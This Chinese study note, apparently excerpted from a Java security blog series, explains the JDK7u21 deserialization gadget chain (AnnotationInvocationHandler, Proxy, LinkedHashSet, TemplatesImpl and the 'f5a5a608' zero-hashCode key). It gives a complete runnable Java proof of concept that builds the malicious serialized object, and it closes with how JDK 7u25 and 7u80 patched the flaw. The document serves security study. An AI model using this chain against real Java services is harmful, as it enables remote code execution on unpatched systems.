JDK7u21原生反序列化利用链

JDK7u21原生反序列化利用链

本文主要摘抄自p师傅的java漫谈18,用于学习。

Java7u21版本及以前的版本(只是java7中,java6不一定,后面有说),存在一条不依赖第三方库的Java反序列化利用链,在新版本的Java中没有。

1. 核心原理

相信学习了CommonsCollections的这些利用链后,大家心里对反序列化有自己的认识。如果问,什么是某条反序列化利用链的核心点,有的同学可能会说是readObjectTemplatesImpl。不过我的理解是,核心在于触发“动态方法执行”的地方,而不是TemplatesImpl或某个类的readObject方法。
举几个例子:

  • CommonsCollections系列反序列化的核心点是那一堆Transformer,特别是其中的InvokerTransformerInstantiateTransformer
  • CommonsBeanutils反序列化的核心点是 PropertyUtils#getProperty,因为这个方法会触发任意对象的getter

JDK7u21的核心点就是 sun.reflect.annotation.AnnotationInvocationHandler ,当时只用到了这个类会触发 Map#putMap#get 的特点。

AnnotationInvocationHandler类中的equalsImpl方法有个很明显的反射调用
memberMethod.invoke(o),而memberMethod来自于this.type.getDeclaredMethods()
也就是说,this.type.getDeclaredMethods()这个方法是将this.type类中的所有方法遍历并执行了。那么,假设是Templates类,则势必会调用到其中的newTransformer()getOutputProperties()方法,进而触发任意代码执行。
这就是JDK7u21的核心原理。

2. 如何调用equalsImpl

那么,现在的任务就是通过反序列化调用equalsImpl,equalsImpl是一个私有方法,在AnnotationInvocationHandler#invoke中被调用。AnnotationInvocationHandler#invoke这个知识点,在第11篇中提到过:
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法我们需要用到java.reflect.Proxy
Proxy.newProxyInstance的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。
我们回看sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

在使用java.reflect.Proxy动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到InvocationHandler#invoke。执行invoke时,被传入的第一个参数是这个proxy对象,第二个参数是被执行的方法名,第三个参数是执行时的参数列表。
AnnotationInvocationHandler方法就是一个InvocationHandler接口的实现,我们看看它的invoke:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);

assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// ...

可见,当方法名等于equals,且仅有一个Object类型参数时,会调用到equalImpl方法。
所以,现在的问题变成,我们需要找到一个方法,在反序列化时对proxy调用equals方法。

3. 找到equals方法调用链

比较Java对象时,我们常用到两个方法:

  • equals
  • compareTo
    任意Java对象都拥有equals方法,它通常用于比较两个对象是否是同一个引用;而compareTo实际上是 java.lang.Comparable 接口的方法,通常被实现用于比较两个对象的值是否相等。
    java.util.PriorityQueue用的是compareTo
    常见的会调用equals的场景就是集合setset中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作。

HashSet使用了一个HashMap,将对象保存在HashMap的key处来做去重。
HashMap,就是数据结构里的哈希表,相信上过数据结构课程的同学应该还记得,哈希表是由数组+链表实现的——哈希表底层保存在一个数组中,数组的索引由哈希表的 key.hashCode() 经过计算得到, 数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。

首先:为了触发比较操作,我们需要让比较与被比较的两个对象的哈希相同,这样才能被连接到同一条链表上,才会进行比较。

跟进下HashMapput方法,变量 i 就是这个所谓的“哈希”。两个不同的对象的i相等时,才会执行到key.equals(k)触发前面说过的代码执行。
所以,我们接下来的目的就是为了让proxy对象的“哈希”,等于TemplateImpl对象的“哈希”。

实际上有师傅猜测jdk7u21的作者frohoff可能也是通过这样的思考最终找到了LinkedHashSet类。

LinkedHashSet 位于 java.util 包内,是HashSet的子类,向其添加到 set 的元素会保持有序状态,并且在LinkedHashSet.readObject()的方法中,当各元素被放进HashMap时,第二个元素会调用equals()与第一个元素进行比较

4. 巧妙的Magic Number

计算“哈希”的主要是下面这两行代码:

1
2
int hash = hash(key); 
int i = indexFor(hash, table.length);

将其中的关键逻辑提权出来,可以得到下面这个函数:

1
2
3
4
5
6
7
8
9
public static int hash(Object key) { 
int h = 0;
h ^= key.hashCode();

h ^= (h >>> 20) ^ (h >>> 12);
h = h ^ (h >>> 7) ^ (h >>> 4);
return h & 15;

}

除了key.hashCode()外再没有其他变量,所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的hashCode()是否相等。TemplateImplhashCode()是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxyhashCode()与之相等,只能寄希望于proxy.hashCode()
proxy.hashCode()仍然会调用到AnnotationInvocationHandler#invoke,进而调用到AnnotationInvocationHandler#hashCodeImpl,我们看看这个方法:

1
2
3
4
5
6
7
8
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}

遍历memberValues中只有一个key和一个value时,计算每个(127 * key.hashCode()) ^ value.hashCode()并求和。
JDK7u21中使用了一个非常巧妙的方法:
memberValues中只有一个key和一个value时,该哈希简化成(127 * key.hashCode()) ^value.hashCode()
key.hashCode()等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode()
value就是TemplateImpl对象时,这两个哈希就变成完全相等.
所以,我们找到一个hashCode是0的对象作为memberValueskey,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。
找一个hashCode是0的对象,我们可以写一个简单的爆破程序来实现:

1
2
3
4
5
6
7
public static void bruteHashCode() {
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}

跑出来第一个是f5a5a608,这个也是ysoserial中用到的字符串。

5. 利用链梳理

所以,整个利用的过程就清晰了,按照如下步骤来构造:

  • 首先生成恶意TemplateImpl对象
  • 实例化AnnotationInvocationHandler对象
    • 它的type属性是一个TemplateImpl(为的是给equalsImpl方法中的memberMethod赋值)
    • 它的memberValues属性是一个MapMap只有一个keyvaluekey是字符串f5a5a608,value是前面生成的恶意TemplateImpl对象
  • 对这个AnnotationInvocationHandler对象做一层代理,生成proxy对象
  • 实例化一个HashSet,这个HashSet有两个元素,分别是:
    • TemplateImpl对象
    • proxy对象
  • HashSet对象进行序列化

这样,反序列化触发代码执行的流程如下:

  • 触发HashSetreadObject方法,其中使用HashMapkey做去重
  • 去重时计算HashSet中的两个元素的hashCode(),因为构造二者相等,进而触发equals()方法
  • 调用AnnotationInvocationHandler#equalsImpl方法
  • equalsImpl中遍历this.type的每个方法并调用
  • 因为this.typeTemplatesImpl类,所以触发了newTransform()getOutputProperties()方法
  • 任意代码执行

其实简单来说就是AnnotationInvocationHandler#invoke中能够调用AnnotationInvocationHandler#equalsImpl方法,equalsImpl能够遍历并调用this.type的所有方法。
那么这里有三个问题:

  1. 怎么调用AnnotationInvocationHandler#invoke
  2. 调用invoke后满足什么条件会调用AnnotationInvocationHandler#equalsImpl
  3. 调用equalsImpl后怎么rce

解答:

  1. 通过proxy代理,第三个参数设置为AnnotationInvocationHandler,把AnnotationInvocationHandler作为代理的逻辑。第二个参数是代理的对象集合,这里设置为Templates类,具体原因参考解答3.
  2. 调用invoke后,要满足是通过调用equal方法触发的代理,进入的AnnotationInvocationHandler#invoke,而且equal方法只能有一个参数,参数类型为Object
  3. this.typeTemplates时,执行Templates的所有方法,就会执行newTransform()getOutputProperties()方法,实例化恶意类。(getOutputProperties()方法在前,先执行)

简化的JDK7u21代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.govuln.deserialization;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.codec.binary.Base64;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

String zeroHashCodeStr = "f5a5a608";

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

6. 修复

这个利用链俗名是JDK7u21,可以认为它可以在7u21及以前的版本中使用,这就牵扯出两个问题:

  • 这个利用链是否影响JDK6JDK8,具体影响哪些小版本
  • JDK7u21以上的版本如何修复这个问题

第一个问题,Java的版本是多个分支同时开发的,并不意味着JDK7的所有东西都一定比JDK6新,所以,当看到这个利用链适配7u21的时候,我们不能先入为主地认为JDK6一定都受影响。
Oracle JDK6一共发布了30多个公开的版本,最后一个公开版本是6u45,在2013年发布。此后,Oracle公司就不再发布免费的更新了,但是付费用户仍然可以获得Java 6的更新,最新的Java 6版本是6u221
其中,公开版本的最新版6u45仍然存在这条利用链,大概是6u51的时候修复了这个漏洞,但是这个结论不能肯定,因为免费用户下载不到这个版本。
JDK8在发布时,JDK7已经修复了这个问题,所以JDK8全版本都不受影响。
我们来看看官方在JDK7u25中是怎样修复这个问题:
sun.reflect.annotation.AnnotationInvocationHandler类的readObject函数中,原本有一个对this.type的检查,在其不是AnnotationType的情况下,会抛出一个异常。但是,捕获到异常后没有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。
新版中,将return;修改成throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");,这样,反序列化时会出现一个异常,导致整个过程停止.

1

后续版本如7u80也有在 AnnotationInvocationHandler构造方法的一开始的位置,就对于this.type进行了校验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 改之前:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}

// 改之后:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

这个修复方式看起来击中要害,实际上仍然存在问题,这也导致后面的另一条原生利用链JDK8u20